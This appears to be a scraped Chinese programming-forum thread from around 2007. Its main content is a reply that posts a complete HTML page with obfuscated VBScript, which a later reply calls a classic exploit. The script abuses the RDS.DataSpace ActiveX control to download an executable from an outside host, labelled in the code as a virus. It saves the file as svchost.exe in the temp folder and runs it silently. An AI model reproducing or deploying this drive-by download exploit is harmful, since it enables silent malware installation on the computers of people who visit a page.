http://www.chmhome.com/technology/program-design/soft/20070707/81305.html
打开这个网页,没什么问题。
打开这个网页,没什么问题。
解决方案 »
- JS数组弹出页面的问题,请教
- 在线编辑器在iframe页面中无法框选内容
- 字符“&”的拼接问题
- JavaScrip,IE中调用Canvas的方法与FireFox调用Canvas方法的问题
- 链接点入页面,IE6下以src引入的脚本不执行?!FF,IE7倒都没事!
- javascript为何取不到好多网页中的东西,vbscript的for...next怎么用?
- 各位前辈我刚学网页编程有个问题解决不了请帮忙(我盼望)急急急!!!
- 用JAVA怎么做出so.htm?no=1和so.htm?no=2显示不同的文字内容?
- 请问能用javascript判断当前ie是否为脱机工作状态?
- 想请教一个问题:用户填完表以后,可以下载下来,这些需要前端做啥?
- 各位大大帮看下这段代码如何触发
- 如何判断鼠标已移出屏外?
最大的问题是当用户访问你的网站的时候,你怎么搞到权限把这个vbs写在用户的硬盘上,并且运行这个脚本。
用Firefox吧。
<body>
<script type="text/jscript">
function init () {
document.write("<center><font color=red></font><center>");}
window.onload = init;
</script>
<script language="VBScript">
on error resume next
tcsafe = "http://www.123.com/1.exe" //这个是病毒
m1="object"
m2="classid"
m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
m4="Microsoft.XMLHTTP"
m5="Shell.Application"
m6="Scripting.FileSystemObject"
sub tcsafe1exe(m5,X9)
set Xe = Xc.createobject(m5,"")
dd="open"
Xe.ShellExecute X9,BBS,BBS,dd,0
end sub
Set Xc = document.createElement(m1)
Xc.setAttribute m2, m3
Xi=m4
Set Xd = Xc.CreateObject(Xi,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
a5=a1&a2&a3&a4
Xg=a5
set Xa = Xc.createobject(Xg,"")
Xa.type = 1
Xh="GET"
Xd.Open Xh, tcsafe, False
Xd.Send
X9="svchost.exe"
set Xb = Xc.createobject(m6,"")
set Xe = Xb.GetSpecialFolder(2)
Xa.open
dd="Xa.BuildPath(Xa,X8)"
X8=dd
d1="Xb.BuildPath(Xb,X7)"
X7=d1
d2="Xc.BuildPath(Xd,X6)"
X6=d2
d3="Xd.BuildPath(Xf,X5)"
X5=d3
d4="Xe.BuildPath(Xg,X4)"
X4=d4
d5="Xf.BuildPath(Xh,X4)"
X3=d5
d6="Xg.BuildPath(Xi,X3)"
X2=d6
d7="Xh.BuildPath(Xg,X1)"
X1=d7
d8="Xi.BuildPath(Xk,X0)"
X0=d8
X9= Xb.BuildPath(Xe,X9)
Xa.write Xd.responseBody
Xa.savetofile X9,2
Xa.close
call tcsafe1exe(m5,X9)
</script>
</body>
</html>
用的是这一个组件"BD96C556-65A3-11D0-983A-00C04FC29E36"
很经典的一个利用...